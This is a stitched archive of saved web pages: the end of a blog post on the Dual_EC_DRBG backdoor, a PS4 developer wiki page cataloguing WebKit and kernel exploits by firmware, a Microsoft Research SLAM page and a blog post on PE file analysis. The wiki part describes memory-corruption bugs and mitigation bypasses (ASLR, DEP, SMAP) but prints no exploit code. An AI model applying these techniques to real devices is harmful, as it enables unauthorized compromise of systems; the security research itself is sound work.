adversary**.**

A high entropy means the adversary will know very little about the random
numbers the system generates**.**

Dual\_EC\_DRBG uses a given elliptic curve**.** Elliptic curves come with an
extra structure, called a group structure**.**

For the purpose of this post, it suffices to say that this allows you to walk
along the curve but, rather than simply following the shape of the curve, your
walk makes you seemingly go all over the place**.**

It is this all-over-the-placeness which makes them useful to generate
pseudorandom numbers \(and for cryptography in general\)**.**

<img src='img/Temp2_4069.png' alt='The group structure on an elliptic curve.
Don’t worry if it doesn’t make sense.' />

The group structure on an elliptic curve**.** Don’t worry if it doesn’t make
sense.

Apart from the curve, the algorithm also uses two given points _P_ and _Q_ on
this curve**.** Like the curve, they are given in an appendix to the NIST
standard**.**

Now there exists a relationship between these points _P_ and _Q_ : if you
start at _Q_ and you continue walking, then, for some large number _e_ , after
_e_ steps you end up at _P_**.**

This is not a secret: it is a simple property of the group structure of
elliptic curves**.**

But if the curve is large \(which the one used in this standard is\), it will
take you a long time to compute e. Think in terms of millions of years**.**

So no one knows _e_ and no one can know _e_**.**

No one?

Well, if you simply choose a point _P_ on the curve and choose a \(very
large\) number _e_ , you can use that to compute a point _Q_**.** If you then
give out these _P_ and _Q_ to someone, they will still need a million years to
compute _e_**.** But you know it.

And that’s exactly what the NSA did**.** They provided the _P_ and the _Q_ in
the standard**.** They, as has become clear from Snowden’s documents, know
_e_**.**

We don’t. And we can’t even compute it**.**

Does this matter?

It does**.**

In 2007, Dan Shumow and Niels Ferguson, two researchers then working for
Microsoft, showed \[PDF\] that, if you know _e_ , cracking the pseudorandom
number generation becomes a little easier**.**

<img src='img/Temp2_4072.png' alt='Part of paper by Dan Shumow and Niels
Ferguson' />

A little easier**?** Actually, it becomes almost child’s play. They
effectively showed that to the NSA, your high-entropy pseudorandom number
generator, generates output with very few surprises**.**

In practise this means that, by knowing _e_ , can read almost all TLS-traffic
\(which includes HTTPS\) that is encrypted using a algorithm based on
Dual\_EC\_DRBG**.**

After the likely backdoor was found in 2007, NIST actually updated the
standard**.**

It now shows you a method to choose ‘good’ _P_ and _Q_ yourself \(for you
can’t just choose arbitrary points\)**.**

But it still says that if you want your crypto to be FIPS 140 -certified, you
need to choose the points they’ve chosen for you**.** “Trust us,” you read
between the lines, “we know they work**.** ”

So why would anyone trust them, especially after it was shown that someone
could likely have inserted a backdoor**?** That is beyond me. But the standard
is used in quite a few implementations **.**

What makes this even more strange is that, as Matthew Green pointed out in an
excellent blog post , the algorithm is pretty flawed in a number of other ways
too**.** No wonder the crypto world suddenly finds itself in an existential
crisis**.**

Now it would have been bad if the NSA had someone managed to make us all use
weaker cryptography**.** Still, the playing field would have remained level,
albeit with lower security for everyone**.**

  

<img src='img/Temp2_4071.png' width='170' height='219' alt='The NSA' />

It would have been a little worse if the NSA knew of a secret algorithm that
enabled them to break cryptography**.** \(It is possibly that one of the
future revelations that Bruce Schneier hinted at will show they can do that
for certain crypto standards**.**\) Still, ultimately that is just beating
your opponent by being more clever**.**

  

But what the NSA did was plain cheating**.**

The crypto remains secure against any of us**.** But they can crack it**.**

Because they wrote it. And they put a backdoor into it**.** And even though we
know \(and have known for some time\) there was such a backdoor, it still
doesn’t help us**.**

Cheating with the privacy of billions of internet users is nothing but very,
very wrong**.**

\(Apart from the blog post by Matthew Green, there is a Wired article on
Dual\_EC\_DRBG that Bruce Schneier wrote back in 2007, when Edward Snowden was
but a junior employee at the CIA working in Switzerland**.** As just about
anything Schneier has written on cryptography, it is well worth a read**.**\)

1 The NSA hasn’t owned up and it is unlikely they ever will**.** While no one
doubts that the NSA planted a backdoor into Dual\_EC\_DRBG, we can’t prove
it**.** Throughout this article, I have assumed we are sure**.**

It made for easier reading. And, frankly, we are quite sure.

Tags: Cryptography , Dual\_EC\_DRBG , Edward Snowden , elliptic curves ,
Encryption , NIST , NSA

# Working Exploits - PS4 Developer wiki

**Created:**| _9/23/2018 8:38:28 AM_  
---|---  
**Updated:**| _9/23/2018 8:38:28 AM_  
**Author:**| _wishi_  
**Tags:**| _virtusalisation_  
  

  

# Working Exploits

Jump to: navigation, search

## Contents

\[hide\]

  * 1 Hardware Exploits
    * 1.1 PCIe man-in-the-middle attack
  * 2 WebKit/Userland Exploits
    * 2.1 FW <= 5.50 - haveABadTime Type Confusion
      * 2.1.1 Analysis
      * 2.1.2 Bug Description
      * 2.1.3 Exploit Implementation
      * 2.1.4 Patched
    * 2.2 FW <= 5.05 - setAttributeNodeNS Use-After-Free \(UAF\)
      * 2.2.1 Analysis
      * 2.2.2 Bug Description
      * 2.2.3 Exploit Implementation
      * 2.2.4 Patched
    * 2.3 FW <= 4.07 - Stack Uninitialized Read
      * 2.3.1 Analysis
      * 2.3.2 Bug Description
      * 2.3.3 Exploit Implementation
      * 2.3.4 Patched
      * 2.3.5 Tested
    * 2.4 FW <= 3.70 - JSArray.sort\(\) Use-After-Free \(UAF\)
      * 2.4.1 Analysis
      * 2.4.2 Bug Description
      * 2.4.3 Exploit Implementation
      * 2.4.4 Patched
      * 2.4.5 Tested
    * 2.5 FW <= 2.03 - CSSSelector Heap Overflow \(CVE-2014-1303\)
      * 2.5.1 Analysis
      * 2.5.2 Bug Description
      * 2.5.3 Exploit Implementation
      * 2.5.4 Patched
      * 2.5.5 Tested
    * 2.6 FW <= 1.76 - JSArray.sort\(\) Heap Overflow \(CVE-2012-3748\)
      * 2.6.1 Analysis
      * 2.6.2 Bug Description
      * 2.6.3 Exploit Implementation
      * 2.6.4 Patched
  * 3 Userland securities
    * 3.1 Userland ASLR
    * 3.2 Module imports table cleaned before execution
    * 3.3 DEP / NX
    * 3.4 JiT removed from webbrowser
    * 3.5 Syscalls removed
      * 3.5.1 Syscall 0 disabled
    * 3.6 bpf\_write function stripped out of the kernel
    * 3.7 bpf\_open function blocked for unprivileged processes
  * 4 Kernel Exploits
    * 4.1 FW <= 5.05 - BPF Race Condition \(Yielding Double Free\(\)\)
      * 4.1.1 Analysis
      * 4.1.2 Bug Description
      * 4.1.3 Exploit Implementation
      * 4.1.4 Patched
    * 4.2 FW <= 4.55 - BPF Race Condition \(Yielding UaF\)
      * 4.2.1 Analysis
      * 4.2.2 Bug Description
      * 4.2.3 Exploit Implementation
      * 4.2.4 Patched
    * 4.3 FW <= 4.05 - NamedObj Type Confusion \(namedobj - Adieu\)
      * 4.3.1 Analysis
      * 4.3.2 Bug Description
      * 4.3.3 Exploit Implementation
      * 4.3.4 Patched
    * 4.4 FW <= 1.76 - Dynamic Library Prepare Close \(dlclose\)
      * 4.4.1 Analysis
      * 4.4.2 Bug Description
      * 4.4.3 Exploit Implementation
      * 4.4.4 Patched
    * 4.5 FW <= 1.76 - BadIRET
      * 4.5.1 Analysis
      * 4.5.2 Bug Description
      * 4.5.3 Source
      * 4.5.4 Patched
      * 4.5.5 Implementation
  * 5 Kernel securities
    * 5.1 Kernel ASLR
    * 5.2 Kernel SMAP

## Hardware Exploits\[edit\]

### PCIe man-in-the-middle attack\[edit\]

  * First done on 1.01 by failoverflow on PS4 launch \!
  * Detailed at 33c3: 33c3 slides by Marcan
  * Permits kernel and userland dumping

## WebKit/Userland Exploits\[edit\]

### FW <= 5.50 - haveABadTime Type Confusion\[edit\]

#### Analysis\[edit\]

Project Zer0 Bug Description

#### Bug Description\[edit\]

When JSGlobalObject::haveABadTime\(\) is called with arrays of a different
JSGlobalObject type, type confusion can occur, leading to memory corruption.

#### Exploit Implementation\[edit\]

PS4 5.50 \(WebKit Only\)

#### Patched\[edit\]

**Yes** in 5.53 FW

* * *
### FW <= 5.05 - setAttributeNodeNS Use-After-Free \(UAF\)\[edit\]

#### Analysis\[edit\]

Specter's setAttributeNodeNS Exploit Writeup

#### Bug Description\[edit\]

By forcing setAttributeInternal\(\) to call setAttributeNodeNS\(\) twice, an
attribute node reference will be added twice to the list. When one is
free\(\)'d, the second attribute still contains a duplicate stale reference,
leading to a use-after-free \(UAF\) scenario.

#### Exploit Implementation\[edit\]

PS4 5.05 WebKit + Kernel Exploit

#### Patched\[edit\]

**Yes** in 5.50 FW

* * *
### FW <= 4.07 - Stack Uninitialized Read\[edit\]

#### Analysis\[edit\]

Specter's 4.0x WebKit Exploit Writeup

#### Bug Description\[edit\]

Via a specially crafted valueOf\(\) function of an arguments.length\(\)
function, non-zero indexes of the stack-allocated array are not initialized,
leading to a stack uninitialized read. This can be abused to store a reference
that can later be re-obtained post-GC \(garbage collection\) yielding a use-
after-free\(\) \(UAF\) situation.

#### Exploit Implementation\[edit\]

\[1\] \(mirror\)

#### Patched\[edit\]

**Yes** in 4.50 FW

#### Tested\[edit\]

Works on 3.50.

* * *
### FW <= 3.70 - JSArray.sort\(\) Use-After-Free \(UAF\)\[edit\]

#### Analysis\[edit\]

PSVita HENKaku 3.60 webkit exploit writeup

#### Bug Description\[edit\]

When attempting to update a vector via sortCompactedVector\(\) - data is
written based on a pointer, though the pointer isn't re-updated nor nulled.
When this memory in free\(\)'d, the reference is maintained and thus memory
corruption can occur.

#### Exploit Implementation\[edit\]

PSVita HENkaku by Molecule PS4 Playground 3.15-3.70 by Fire30

#### Patched\[edit\]

**Yes** in 4.00 FW

#### Tested\[edit\]

3.15, 3.50, 3.51, 3.55, 3.70

* * *
### FW <= 2.03 - CSSSelector Heap Overflow \(CVE-2014-1303\)\[edit\]

#### Analysis\[edit\]

BlackHat EU 2014 'WebKit Everywhere - Secure Or Not?' slides

#### Bug Description\[edit\]

By forcing addRule\(\) to be called on a CSS Selector via
window.getMatchedCSSRules\(\), a 1-bit OOB write can be achieved and leveraged
to corrupt heap memory.

#### Exploit Implementation\[edit\]

  * Currently only has an ROP PoC for firmware 2.03 by Fire30: PS4 2.03

#### Patched\[edit\]

**Yes** in 2.50 FW

#### Tested\[edit\]

  * 2.03

* * *
### FW <= 1.76 - JSArray.sort\(\) Heap Overflow \(CVE-2012-3748\)\[edit\]

#### Analysis\[edit\]

Exploit PoC by Vitaliy Toropov

#### Bug Description\[edit\]

By forcing the compare function to reduce the size of the array, trailing
items will be written out of bounds \(OOB write\), leading to heap memory
corruption.

#### Exploit Implementation\[edit\]

PSVita 2.60  
PS4 playground 1.76 by CTurt

#### Patched\[edit\]

**Yes** in 2.00 FW

## Userland securities\[edit\]

### Userland ASLR\[edit\]

  * Very old firmwares \(<= 1.05\) don't have ASLR enabled, but it was introduced sometime before firmware 1.70. "Address Space Layout Randomization" \(ASLR\) is a security technique which causes the base addresses of modules to be different every time you start the PS4.
  * To defeat userland ASLR on FWs >=1.70, we can use the module imports table to find other modules address once we know SceWebkit2 address.

### Module imports table cleaned before execution\[edit\]

  * Between 1.76 and 4.05, Sony did that to prevent webkit exploiters from defeating userland ASLR easily.
  * Now we have to dump entire userland sandboxed memory, and by studying it we can defeat ASLR:

1\. Chose a function \(ex: \_\_stack\_chk\_fail\) imported from LibKernel by
SceWebkit2 2\. Read pointer contained at the address where the call is done
3\. Substract to this pointer the offset of the function \(ex:
\_\_stack\_chk\_fail\) in LibKernel module 4\. This result is LibKernel base
address. This method works for any imported module.

### DEP / NX\[edit\]

  * "Data Execution Prevention" / "No eXecute" is enabled on all firmwares. It prevents allocating memory as both RW and RX at same time \(RWX\) so preventing us from writing shellcode to userland memory then executing it.
  * 2 ways to bypass this security: JiT vulnerability \(FW <= 1.76\) or ROP \(all FWs\).

### JiT removed from webbrowser\[edit\]

  * On FW <= 1.76, you could map RWX memory from ROP by abusing the JiT functionality and the sys\_jitshm\_create and sys\_jitshm\_alias system calls. This however was fixed after 1.76, as WebKit has been split into two processes. One handles javascript compilation and the other handles other web page elements like image rendering and DOM. The second process will request JiT memory upon hitting JavaScript via IPC \(Inter-Process Communication\). Since we no longer have access to the process responsible for JiT, we can no longer \(at least currently\), map RWX memory for proper code execution unless the kernel is patched.
  * Workaround is to use ROP.

### Syscalls removed\[edit\]

#### Syscall 0 disabled\[edit\]

  * Between 1.76 and 4.05, Sony has removed system call 0, so we can no longer call any system call we like by specifying the call number in the rax register.
  * We will have to use wrappers from the libkernel.sprx module provided to us to access system calls.

### bpf\_write function stripped out of the kernel\[edit\]

  * On 4.70, bpfwrite\(\) was stripped out of the kernel entirely to patch kernel vulnerability exploited in 4.55 kexploit.

### bpf\_open function blocked for unprivileged processes\[edit\]

  * On 5.50, opening BPF has been blocked for unprivileged processes such as WebKit and other apps/games. It's still present in the sandbox, however attempting to open it will fail and yield EPERM. This aims blocking bpf exploits like the 4.55 and 5.05 kexploit.

## Kernel Exploits\[edit\]

### FW <= 5.05 - BPF Race Condition \(Yielding Double Free\(\)\)\[edit\]

#### Analysis\[edit\]

Specter's Writeup of the 5.05 BPF Race Condition

#### Bug Description\[edit\]

Again due to improper locking, two threads can enter the BPF "SETWF" ioctl
command handler. While the bug is similar to that of 4.55, the method of
attack is slightly different. Since write\(\) was removed for BPF in 4.70,
instead of triggering a use-after-free with write\(\) - "SETWF" is ran in
parallel via threading. Eventually, both calls will copy the same pointer to
the stack, leading to both threads free\(\)'ing the same pointer, poisoning
the freelist. This can later be leveraged via heap spraying to corrupt heap
memory to obtain arbitrary code execution in supervisor mode \(ring0\).

#### Exploit Implementation\[edit\]

PS4 5.05 WebKit + Kernel Exploit  
PS4 5.05 WebKit + Kernel Exploit Source

#### Patched\[edit\]

**Yes** in 5.50FW

* * *
### FW <= 4.55 - BPF Race Condition \(Yielding UaF\)\[edit\]

#### Analysis\[edit\]

Specter's Writeup of the 4.55 BPF Race Condition

#### Bug Description\[edit\]

Due to improper locking, two threads can enter the BPF ioctl command handlers
for setting a new write filter \(SETWF\) and setting a filter \(SETIF\). Both
threads will reference the same pointer. In specially crafted situations, one
thread could free\(\) this pointer while the other thread executes it as a
filter post-validation. This allows an unprivileged user to obtain an out-of-
bounds \(OOB\) write on the stack, leading to arbitrary code execution in
supervisor mode \(ring0\).

#### Exploit Implementation\[edit\]

PS4 4.55 WebKit + Kernel Exploit  
PS4 4.55 WebKit + Kernel Exploit Source

#### Patched\[edit\]

**Yes** in 4.70FW

* * *
### FW <= 4.05 - NamedObj Type Confusion \(namedobj - Adieu\)\[edit\]

#### Analysis\[edit\]

fail0verflow's Writeup on the 1.01-4.05 Kernel Exploit  
Specter's Writeup on his 4.05 implementation

#### Bug Description\[edit\]

Type confusion in the namedobj system once exploited can lead to an arbitrary
free\(\) allowing an attacker to craft a use-after-free\(\) \(UAF\) situation
to corrupt kernel memory. This can be leveraged to eventually obtain an
arbitrary code execution primitive in supervisor mode \(ring0\).

#### Exploit Implementation\[edit\]

PS4 4.05 WebKit + Kernel Exploit

#### Patched\[edit\]

**Yes** in 4.06 FW

* * *
### FW <= 1.76 - Dynamic Library Prepare Close \(dlclose\)\[edit\]

  * Discovered by CTurt. Privately implemented thanks to qwertyoruiopz. CTurt published a writeup then the exploit was publicly implemented by kR105 and on another side by Zer0xFF and Bigboss \(psxdev\).

#### Analysis\[edit\]

Analysis of sys\_dynlib\_prepare\_dlclose PS4 kernel heap overflow \(by CTurt
with the help of qwertyoruiopz\)

#### Bug Description\[edit\]

Integer overflow in the sys\_dynlib\_prepare\_dlclose\(\) system call can lead
to a heap overflow causing memory corruption, allowing an attacker to obtain
code execution in supervisor mode \(ring0\).

#### Exploit Implementation\[edit\]

Public release by kR105

#### Patched\[edit\]

**Yes** in 2.00 FW

* * *
### FW <= 1.76 - BadIRET\[edit\]

#### Analysis\[edit\]

  * Ported from FreeBSD 9 to PS4 by CTurt.

Hacking the PS4, part 3 - Kernel exploitation \(by **CTurt**\)  
NVD Bug Description

#### Bug Description\[edit\]

Faults associated with the stack segment \(SS\) register are not handled
properly, allowing unprivileged users to trigger an IRET instruction that
accesses a GS Base from userland memory, providing an attacker with a method
of privilege escalation.

#### Source\[edit\]

CVE-2014-9322  
Public binary

#### Patched\[edit\]

**Yes** in 2.00 FW

#### Implementation\[edit\]

\(mirror\)

## Kernel securities\[edit\]

### Kernel ASLR\[edit\]

  * At some point after the 1.76 FW, ASLR \(Address Space Layout Randomization\) was enabled in the kernel.
  * This means that to properly exploit the kernel to escalate privileges, an information disclosure vulnerability will most likely be needed to defeat ASLR and locate the kernel in memory.

### Kernel SMAP\[edit\]

  * In 5.0x FW and above, "Supervisor Mode Access Prevention" \(SMAP\), a new custom mitigation was added to the kernel to prevent exploiters from pivoting the stack pointer into userland memory \(attempting to do so will crash the system\).
  * A new exploitation strategy is needed for running kROP \(kernel ROP\) chains, such as qwertyoruiopz method used in the 5.05 BPF kernel exploit:  

We need to get our ROP chain into kernel memory. To do this, qwertyoruiopz
decided to go with the method he used on the iPhone 7 - essentially using JOP
to push a bunch of stack frames onto the kernel stack, and memcpy\(\)'ing the
chain into RSP.

  

| \[hide\]

  * v ·
  * e

Reverse Engineering  
---  
Reverse Engineering|  Bootprocess · Disc Identification/Serialization Data · Files on the PS4 · Libraries · Syscalls · Savegames · Kernel Patches · sealedkey / pfsSKKey · VTRM · |  <img src='img/Temp2_9943.png' width='50' height='50' />  
Dumps & Strings|  | Dumps|  Flash-Bridge · Flash-Hub · Flash-Main ·  
---|---  
Strings|  Flash-Bridge/strings · Flash-Hub/strings · Flash-Main/strings ·  
Communication|  | USB|  PS4cam-USB · DS4-USB ·  
---|---  
Bluetooth|  DS4-BT · Audio-BT ·  
Wifi/LAN|  Online Connections ·  
Exploit Exploration|  Bugs & Vulnerabilities · Proof of Concepts · **Working
Exploits** ·  
Keys & Digests|  Activation AFV · Activation ACF · Bruteforcing · Crypto / DRM
· Keys · Digests ·  
Emulation|  PS2 Emulation · PS2 Classics Emulator Compatibility List · PSP
Emulation · PSP Emulator Compatibility List  
Categories:

  * Reverse Engineering
  * | Main

  

# Retrospective and Prospective for Unifying Theories of Programming

**Created:**| _10/13/2009 8:42:54 PM_  
---|---  
**Updated:**| _10/13/2009 8:43:35 PM_  
**Author:**| __  
**Tags:**| __  
  
<img src='img/Temp2_6836' />

# SLAM - Microsoft Research

**Created:**| _12/7/2012 1:07:19 PM_  
---|---  
**Updated:**| _12/7/2012 1:07:19 PM_  
**Author:**| __  
**Tags:**| _software testing Threat-modeling modeling_  
  
  

SLAM

SLAM is a project for checking that software satisfies critical behavioral
properties of the interfaces it uses and to aid software engineers in
designing interfaces and software that ensure reliable and correct
functioning. Static Driver Verifier is a tool in the Windows Driver
Development Kit that uses the SLAM verification engine.

## What's New?

  * **Yogi** is now available to plug into the Static Driver Verifier Research Platform. To install SDVRP and Yogi, see this README.
  * **The Summer \(2011\) of SLAM saw** two awards and a retrospective article in CACM: 
    * Most Influential PLDI Paper award for Automatic Predicate Abstraction of C Programs, Thomas Ball, Rupak Majumdar, Todd D. Millstein, Sriram K. Rajamani, PLDI 2001. The first conference paper from the SLAM project.
    * CAV 2011 Award. Citation: "The 2011 CAV Award is given to Thomas Ball and Sriram Rajamani, both at Microsoft Research, for their contributions to software model checking,specifically the development of the SLAM/SDV software model checker that successfully demonstrated computer-aided verification techniques on real programs."
    * A Decade of Software Model Checking with SLAM, T. Ball, V. Levin, S. K. Rajamani, Communications of the ACM, Vol. 54. No. 7, 2011, Pages 68-76 
  * **Paper** : 
    * SLAM2: Static Driver Verification with Under 4% False Alarms, T. Ball, E. Bounimova, R. Kumar, V. Levin, FMCAD 2010
  * **The Static Driver Verifier Research Platform** \(SDVRP\) is a release of SDV/SLAM for academic research. It allows the creation and checking of API-specific rules and programs \(for general APIs and programs, not just driver APIs and drivers\) and contains a repository of Boolean programs and test results. 
    * **To get started:**
      1. Read the README
      2. Download/install the Windows 7 Driver Kit \(you will want a virtual drive to install the download, as it is available only as a DVD ISO image\)
      3. Download/install SDVRP
    * **Slide deck.** \[ppt, pdf\]
    * **Paper**. The Static Driver Verifier Research Platform, Thomas Ball, Ella Bounimova, Vladimir Levin, Rahul Kumar, Jakob Lichtenberg, CAV 2010 tools paper
    * **Questions?** E-mail us at sdvrpdis@microsoft.com
  * **Pointers in SLAM2**. Efficient evaluation of pointer predicates with Z3 SMT Solver in SLAM2, Thomas Ball, Ella Bounimova, Vladimir Levin, Leonardo de Moura, March 2010, MSR-TR-2010-24
  * **Congratulations** to the Driver Quality Team on winning a 2009 Engineering Excellence Award for "Improving Driver Quality thru Static Verification". _Jon Hagen, Vlad Levin, Adam Shapiro, Donn Terry, Abdullah Ustuner._**PRE _f_ ast for Drivers** scans the driver code for issues with concurrency, proper IRQL handling, and a host of other driver challenges. The **Static Driver Verifier** simulates a hostile environment and systematically tests all code paths, looking for driver model violations. These complementary tools provide both quick and deep driver testing. Both tools have been adopted broadly within Windows and with third-party developers through MSDN and the Windows Driver Kit.

## Publications

#### Book Chapter

  * **_Developing Drivers with the Windows® Driver Foundation_**, a Microsoft Press book, is now in print, including a chapter about Static Driver Verifier, which has new rules to enable analysis of drivers written against the Kernel-model Driver Framework API.

#### History

  * SLAM and Static Driver Verifier: Technology Transfer of Formal Methods inside Microsoft,**** T. Ball, B. Cook, V. Levin and S. K. Rajamani, _Integrated Formal Methods 2004_

#### The SLAM Process

  * Thorough Static Analysis of Device Drivers, T. Ball, E. Bounimova, B. Cook, V. Levin, J. Lichtenberg, C. McGarvey, B. Ondrusek, S. K. Rajamani and A. Ustuner, _EuroSys 2006_
  * The SLAM Project: Debugging System Software via Static Analysis, T. Ball, S. K. Rajamani, _POPL 2002_ , January 2002, pages 1-3.
  * Automatically Validating Temporal Safety Properties of Interfaces, T. Ball, S. K. Rajamani, _SPIN 2001 Workshop on Model Checking of Software,_ LNCS 2057, May 2001, pp. 103-122.
  * Checking Temporal Properties of Software with Boolean Programs, T. Ball, S. K. Rajamani, Workshop on Advances in Verification \(with CAV 2000\)
  * Boolean Programs: A Model and Process for Software Analysis, T. Ball, S. K. Rajamani, MSR Technical Report 2000-14.

#### SLAM Specifications

  * SLIC: A Specification Language for Interface Checking, T. Ball, S. K. Rajamani, MSR-TR-2001-21.

#### Boolean Programs

  * Bebop: A Path-sensitive Interprocedural Dataflow Engine, T. Ball, S. K. Rajamani, _PASTE 2001_
  * Bebop: A Symbolic Model Checker for Boolean Programs, T. Ball, S. K. Rajamani, _SPIN 2000 Workshop on Model Checking of Software_ , LNCS 1885, August/September 2000, pp. 113-130.

  * _Predicate Abstraction of C Programs_
    * Polymorphic Predicate Abstraction, T. Ball, T. Millstein, S. K. Rajamani, _ACM TOPLAS Vol. 27, No. 2, March 2005, pages 314-343_
    * Automatic Predicate Abstraction of C Programs, T. Ball, R. Majumdar, T. Millstein, S. K. Rajamani, _PLDI 2001,_ SIGPLAN Notices 36\(5\), pp. 203-213.
    * Boolean and Cartesian Abstractions for Model Checking C Programs**,** T. Ball, A. Podelski, S. K. Rajamani, _TACAS 2001_ _,_ LNCS 2031, April 2001, pp. 268-283 _._
    * Predicate Abstraction via Symbolic Decision Procedures, S. Lahiri, T. Ball, B. Cook, _CAV 2005_ _._

#### Abstraction Refinement

  * Refining Approximations in Software Predicate Abstraction, T. Ball, B. Cook, S. Das, S. K. Rajamani. TACAS 2004.
  * Generating Abstract Explanations of Spurious Counterexamples in C Programs, T. Ball, S. K. Rajamani, MSR-TR-2002-09.
  * Relative Completeness of Abstraction Refinement for Software Model Checking, T. Ball, A. Podelski, S. K. Rajamani, _TACAS 2002_ _,_ LNCS 2280, April 2002, pp. 158-172.
  * Zapato: Automatic theorem proving for predicate abstraction refinement, T. Ball, B. Cook, S. K. Lahiri and L. Zhang, Tools paper in CAV 2004
  * Formalizing Counterexample-driven Refinement with Weakest Preconditions, T. Ball, _Proceedings of the NATO Advanced Study Institute on Engineering Theories of Software Intensive Systems Marktoberdorf,_ Germany 3–15 August 2004.

#### Concurrency

  * Parameterized Verification of Multithreaded Software Libraries, T. Ball, S. Chaki, S. K. Rajamani,_TACAS 2001_ , LNCS 2031, April 2001, pp. 158-173.

#### Miscellaneous

  * From Symptom to Cause: Localizing Errors in Counterexample Traces, T. Ball, M. Naik, S. K. Rajamani, _POPL 2003_
  * Speeding Up Dataflow Analysis Using Flow-Insensitive Pointer Analysis, S. Adams, T. Ball, M. Das, S. Lerner, S. K. Rajamani, M. Seigle, W. Weimer. _SAS 2002, LNCS 2477_
  * Automatic Creation of Environment Models via Training, T. Ball, V. Levin, and F. Xie, _TACAS 2004_
  * The SLAM Toolkit, T. Ball, S. K. Rajamani _,__CAV 2001_

##

## News

  * **Wired News:****Microsoft's Secret Bug Squasher**
  * Kampf dem Programmierfehlerteufel
  * SDV and PPRC tools mentioned in The Economist
  * From reporting of the Microsoft Research Roadshow in Silicon Valley \(**PC Magazine**\)
  * SLAM and PPRC tools featured in **Bill Gates** ' OOPSLA 2002 keynote address

##

## Related Projects

  * **Yogi**is a new abstraction-refinment engine based on test generation.
  * UC Berkeley's **BLAST 1.0**
  * Sagar Chaki's **MAGIC**
  * Stefan Schwoon's **Moped**
  * Georg Weissenbacher's **BOOP**

## People

  * **Co-founders**
    * Thomas Ball
    * Sriram K. Rajamani
  * **MSR colleagues**
    * Ella Bounimova
    * Byron Cook
  * **Windows colleagues**
    * Nar Ganapathy
    * Jakob Lichtenberg
    * Rahul Kumar
    * Vladimir Levin
    * Con McGarvey
    * Abdullah Ustuner
    * Donn Terry
  * **Alumni**
    * Bohus Ondrusek
  * **Visitors**
    * Giorgio Delzanno
    * Andreas Podelski
    * Stefan Schwoon

****

**Interns**

  * **2008:** Edgar Pek

  * **2007:** Antonios Stampoulis
  * **2006:** Rahul Kumar
  * **2003**
    * Shuvendu Lahiri
    * Jakob Lichtenberg
    * Georg Weissenbacher
  * **2002**
    * Jakob Lichtenberg
    * Mayur Naik

  * **2001 Interns**
    * Sagar Chaki
    * Satyaki Das
    * Robby
    * Westley Weimer

  * **2000 Interns**
    * Sagar Chaki
    * Rupak Majumdar
    * Todd Millstein

_" Things like even software verification, this has been the Holy Grail of
computer science for many decades but now in some very key areas, for example,
driver verification we’re building tools that can do actual proof about the
software and how it works in order to guarantee the reliability."_ **Bill
Gates, April 18, 2002.****Keynote address****at****WinHec 2002**

<img src='img/Temp2_7166' width='292' height='132' />

  

# inliniac/modsec2sguil - GitHub

**Created:**| _4/10/2011 11:39:51 AM_  
---|---  
**Updated:**| _4/10/2011 11:57:08 AM_  
**Author:**| __  
**Tags:**| _web-app-sec bookmark iDS/iPS monitoring awesome_  
  

ModSecurity agent for Sguil

http://www.inliniac.net/modsec2sguil/

# PE analysis \(part 1\) | Cerbero Blog
**Created:**| _6/28/2012 8:24:33 AM_  
---|---  
**Updated:**| _6/28/2012 8:24:33 AM_  
**Author:**| __  
**Tags:**| _windows environment pe_  
  

Search for:

Skip to content

  * Home

← ActionScript2 Disassembler

# PE analysis \(part 1\)

Posted on 15 June 2012 by Daniel Pistelli

This is the first of a series of posts which will be dedicated to PE analysis
features. In previous posts we have seen how the Profiler has started
supporting PE as a format and while it still lacks support for a few
directories \(and .NET\), it supports enough of them for x86 PE analysis.

<img src='img/Temp2_6007.png' alt='PE Analysis 1' />

While the upcoming version 0.8.4 of the Profiler also features analysis checks
as CRC, recursion, metadata, etc., this post will be about the in-depth range
analysis for PE files. As the screenshot above previews, in-depth ranges show
PE data structures in a hex view and the distribution of data in a PE file.

Let’s take as first sample “kernel32.dll”. After having it opened in the
Profiler, let’s execute the “PE->Display ranges” action.

<img src='img/Temp2_6002.png' alt='PE ranges action' />

We get the PE ranges for kernel32.

<img src='img/Temp2_6005.png' alt='Kernel32 ranges' />

The big region of data marked as fluorescent green represents executable code.
As you can see, it is interrupted by a gray region of data which the tooltip
tells us being a combination of “Code” and “Export Name Data”. If we move the
cursor, we can see that it’s not only Export data, but also Import data. Which
means that the Export and Import directory are contained in the executable
part of the file \(the IAT is in the thin gray area at the beginning of the
code section\). But we may not be interested in having the code section
covering other data regions. This is why we can filter what we want to see
\(Ctrl+B\).

<img src='img/Temp2_6006.png' alt='PE ranges filter' />

I unmarked the “Code” range. Thus, we now get all the ranges except the
unmarked one.

<img src='img/Temp2_6008.png' alt='Kernel32 ranges without code' />

We can also jump to regions of data, but before seeing that, I want to briefly
mention that the hex view can be printed to file/PDF or captured.

<img src='img/Temp2_6000.png' alt='Hex View caputre' />

Not a big feature, but it may come handy when generating reports.

Now let’s look at a file I have especially crafted for the occasion, although
it reflects a very common real-world case.

<img src='img/Temp2_6003.png' alt='PE high entropy' />

We’ve got a PE with an extremely high quantity \(50%\) of foreign data and the
entropy level of that data is also extremely high.

So let’s jump to the first occurrence of foreign data \(Ctrl+J\).

<img src='img/Temp2_6009.png' alt='Ranges jump' />

What we see is that right there where the analyzed PE files finishes, another
one has been appended.

<img src='img/Temp2_6001.png' alt='Appended PE' />

So let’s select the contiguous range of data \(Ctrl+Alt+A: this will select
the foreign range of data\) and “Load selection as…” \(Ctrl+E\) will asks us
to select the file type to load \(it is automatically identified as being a
PE\).

<img src='img/Temp2_5999.png' alt='Load appended PE' />

We are now able to analyze the embedded PE file.

<img src='img/Temp2_6004.png' alt='Loaded appended PE' />

While this procedure doesn’t highlight anything new, since loading of embedded
files has been featured by the Profiler from its earliest versions, I wanted
to show a practical use of it in connection with ranges.

It has to be noted that this particular case is so simple that it can be
detected automatically without interaction of the user. In fact, detection of
appended files in PEs will be added most probably in version 0.8.5.

Hope you enjoyed this post and stay tuned for the next parts\!

**PS: take advantage of our promotional offer in time. Prices will be updated
in August\!**

This entry was posted in PE, Profiler and tagged Analysis, PE, Portable
Executable. Bookmark the permalink.

← ActionScript2 Disassembler

### One Response to _PE analysis \(part 1\)_

  1. Marco says:
15 June 2012 at 1:52 pm

Great job\! Congratulations Daniel\!

Reply

### Leave a Reply

Your email address will not be published. Required fields are marked \*

Name \*

Email \*

Website

  
eight + 5 =

  

CAPTCHA Code \*

Comment

You may use these HTML tags and attributes: `<a href="" title=""> <abbr
title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del
datetime=""> <em> <i> <q cite=""> <strike> <strong> <pre lang="" line=""
